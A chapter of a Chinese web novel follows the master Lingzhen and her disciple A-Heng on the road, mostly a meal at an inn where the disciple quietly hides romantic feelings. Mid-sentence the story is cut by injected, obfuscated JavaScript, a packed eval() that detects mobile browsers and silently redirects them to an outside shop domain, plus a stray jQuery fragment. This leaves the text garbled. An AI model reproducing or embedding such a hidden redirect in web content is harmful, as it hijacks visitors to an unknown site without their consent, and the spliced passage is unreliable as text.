令臻看徒弟生气,也不逗他了,笑着走到他身边。
两人回了客栈,准备在此歇息一晚,第二天再赶路。
令臻下午时沾了海水,身上也有些发粘,她往客栈里的伙计要了热水,准备好好洗洗。
阿珩躺在另一个房间的床上,他的眼睛盯着床顶的帐幔,思绪却已经飘到了隔壁。
也许他此刻应该用法器隔绝掉那些声音。
可他没有。
他的喉咙有些发干。
他闭上眼睛,脑海中又出现了那些画面……
他喊她的名字,而不是师傅。
良久,他坐起来,用手扶着额头,想,他真的是疯了。
他脑海中翻搅了许久,压下心中的念头。
他第二日还要陪师傅赶路,要好好休息,不能让师傅担心。
到了第二日,令臻起来后,就看到徒弟已经收拾好东西在等她了。
她笑着问徒弟,“阿珩,昨夜休息好了吗?”
阿珩看着令臻,面若正常点点头,“师傅,我睡得很好。”
令臻带着徒弟又开始赶路了。
中午,两人在一处河边的柳树下暂时歇息。
令臻正拿着石头往河里扔,余光看到左侧出现一个水囊,徒弟站在她身边,吐出一个字,“水。”
他在树荫下仔细铺好巾帕。
令臻觉得很奇怪,徒弟往日里恨不得一天喊一百遍师傅,如今却不愿喊自己师傅了。
她心中思索着,自己哪点做的不够好。
是因为她总是带着徒弟吃她喜欢的美食,买她喜欢的东西,所以徒弟心中不愿意了吗?
到了下午时,他们又到了一处城镇落脚。
令臻和徒弟说道:“阿珩,今天下午,师傅决定让你自己作主,你想买什么、想做什么都可以。”
阿珩听到她的话,转过头望着她,半天吐出一句,“想做什么都可以?”
她看着徒弟,解释道:“师傅的意思是,让你决定一会儿去哪里吃饭,住在哪里。
而且,你想买什么都可以。”
阿珩闻言,撇过头,又不说话了。
令臻等了好一会儿,阿珩才说道:“前面那家酒楼看起来不错。”
令臻看了一眼徒弟所指的那家酒楼,上面写着“醉香楼”三个大字。
她心想,这个招牌,听起来就觉得酒也醉人,饭菜也美味。
她点头,两人一起去了那醉香楼。
酒楼里的伙计看见年轻的一对男女进来,便问道:“两位客官是要坐大堂,还是雅间?”
令臻想说,坐大堂就行,她觉得热闹,她忽然又想起今日是让徒弟选,她看着阿珩。
阿珩和小伙计说道:“要一间清静的雅间。”
令臻听着徒弟的语气,心想,也许,徒弟往日里跟着爹娘过的就是这种生活。
她一边想,一边上楼梯,那伙计在前面带路。
令臻想得出神,没留意踩到了自己的裙摆,幸好她一只手扶着楼梯,才不至于摔倒。
她刚在心里感叹完,就察觉到自己腰间多了一只手。
阿珩停顿了一瞬,才松开手,和她说:“师傅,注意脚下的路。”
令臻觉得有些丢人,走个路还能差点摔倒。
她觉得自己的腰间,被扶过的地方有些发痒。
她快步越过徒弟,跟着那伙计进了雅间。
阿珩看着令臻的背影,笑了笑。
令臻坐在临窗的座位上,这里很是清静,东边的窗外是种了鲜花的园子,南边的窗外是一条河。
五月份的白日很长,此时太阳还没落下,那河上撒着点点的金光,美极了,她趴在窗户上看入了迷。
伙计在一旁问要点什么菜,令臻回头道:“阿珩。”
今天徒弟点菜。
阿珩看着师傅一动不动的样子,心中觉得好笑。
他认真看了菜单,给一旁的伙计指了几样菜,伙计拿着菜单出去了。
阿珩起身,走到窗户边,站在师傅身旁,两人一块望出去。
令臻正在看河上面的鸭子,它们在河里嬉戏打闹,她的唇角翘起来。
阿珩看着那些鸭子,再看看师傅的唇角,想了想,他道:“烤鸭肉味道应是不错的。”
令臻转头,看着煞风景的徒弟,“我不是想要吃它们,只是觉得它们可爱。”
阿珩点点头,“原来如此。”
令臻觉得自己在徒弟眼中的形象,竟然是这样。
她心中气极,不再理他。
阿珩看着她抿着的唇,不由失笑。
师傅生气时,也挺可爱的。
两人的距离挨得如此之近,令臻没有察觉,她和徒弟一向亲近,下山历练前的徒弟经常靠着她撒娇……
阿珩则是故意为之,他想挨着她。
等小二端着菜上来时,看到的就是这样一幅有情人在窗前相依偎的缱绻画面。
令臻听到声音转头,看着那小二的眼神在自己和徒弟身上飘来飘去,还露出一种意味不明的笑……
小二笑道:“客官,您点的酒菜。”
说罢,就把门关上了。
她把小二那莫名的眼神抛到脑后,望着桌子上精致的瓶子,问阿珩,“这是什么酒?”
阿珩看着她,笑道:“浮光酒。”
师傅爱喝酒,他特意为她点的。
令臻笑起来,“真是个好听的名字。”
她把那瓶子拿在手上,往酒盏里倒了一杯酒。
酒盏是通体乳白色的,那酒却是带着浅浅的粉色。
她喝了一口,桃花和梅子的味道,带着淡淡的甜,似乎并不醉人。
她便多喝了几盏。
她又看了眼徒弟,把瓶子往阿珩的方向推了推。
阿珩笑道:“我不喝,师傅喝。”
虽然他的酒量很好,可他一会儿还要扶她回去。
这会儿,已经上了两道菜了,烤乳鸽,糖醋排骨。
令臻拿起筷子,吃了几块排骨后,干脆用手直接拿着乳鸽吃。
阿珩看着令臻,又笑了起来……
令臻感叹道:“鸽子的外皮酥脆,里面的肉却肥嫩可口。”
她递给徒弟一只鸽腿,“阿珩,吃。”
阿珩笑着接过,他看着师傅充满期待的眼神,咬了一口,赞道:“是不错。”
店小二又上了两道菜,乳酿鱼和葱醋鸡。
令臻看着那鱼汤,汤色乳白,香气扑鼻。
阿珩拿起碗,给她盛了一碗放在眼前。
又给她递了一条干净的帕子。
令臻接过来,擦干净自己吃烤乳鸽吃得沾满油渍的手。
她迫不及待地去尝那乳白色的汤,入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721147|208656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口醇香,又夹了一块鱼肉,鱼肉也并不难嚼。
她和阿珩说道:“这道菜的火候把握得很好。”
阿珩笑着点点头,“嗯。”
令臻给徒弟夹了筷葱醋鸡,她自己也尝了一口,眯起了眼睛。
清蒸后的鸡肉淋了葱醋汁,鸡肉鲜嫩,伴着葱醋汁的香味,清爽可口。
阿珩把师傅给他夹的菜吃掉,他自己却不夹菜,只是看着她吃。
令臻吃到最后,小二又上来两道糕点,荷花酥,枣泥糕。
令臻问道:“没了吧?这吃不完太浪费了……”
她小时候,没吃过这么多好吃的,面前的这些菜,要是吃不完,她很是心疼。
阿珩点头,“我知道,所以我点的这些菜,刚好够师傅吃完。”
令臻吃着点心,突然道:“阿珩点的,都是我爱吃的菜。”
她伸出一只手摸阿珩的头,“徒弟果真孝顺懂事。”
阿珩的唇角收敛了笑意,他缓缓吐出几个字,“我随意点的。”
令臻不说话了,徒弟说随意,那就随意好了,反正她知道徒弟的心意就好。
令臻摇了摇“浮光酒”的瓶子,没有了,她潇洒站起身来,出了门。
门口处的小二问道:“姑娘,结账……”
令臻摆摆手,“问我徒儿。”
那小二“啊”了一声,笑道:“他是您徒儿?”
令臻扬眉道:“对,怎么了?”
小二连忙摇头,咳了两声,“没……没什么。”
令臻顺着楼梯往一楼大堂走,阿珩在二楼雅间门口,给小二结帐。
他想了想,又嘱咐道:“再拿一瓶浮光酒,一瓶莲花白。”
小二小跑着下了楼梯,在储酒间拿了酒,交给这位俊朗的公子,他笑道:“公子,您师傅在酒楼门口等您呐!”
阿珩抬眼望去,师傅一身淡黄色衣衫,在嘈杂的人群里面,格外显眼,
他冲着小二点点头,“多谢。”
阿珩转身离去。
小二站在大堂里嘀咕道:“这样般配的一对年轻男女,竟然是师徒?”
令臻站在酒楼门口,此时是傍晚,夕阳尚在,柔和的光洒在她身上,格外美好。
阿珩走近她身旁,轻声道:“师傅。”
令臻低头,看了眼他手上的莲花白,“这瓶和刚才喝的不一样。”
她一边走,一边兴冲冲拔开塞子,仰头喝了一口,“余味悠长,口感清冽甘甜。”
她把莲花白递给阿珩,“珩儿,你尝尝。”
阿珩抿着唇,他不喜欢她叫他珩儿,像是在喊晚辈。
令臻转头看他,“珩儿?”
阿珩接过她手中喝了一口的莲花白,道:“师傅日后,莫要喊我珩儿。”
令臻讶道:“为何?”
阿珩正色道:“我如今已经是大人了,不是孩童。”
令臻想了想,“那师傅喊你,赵珩?”
阿珩不说话。
令臻看他的面色,叹了口气,“算了,还是喊你阿珩。”
阿珩看着莲花白,眼神莫名,他突然仰头,喝了口她喝过的莲花白。
入口清甜绵柔。
令臻见他尝了,便从他手里接过莲花白,笑道:“怎么样,是不是味道不输浮光酒?”
他面色有些发红,镇定自若点点头。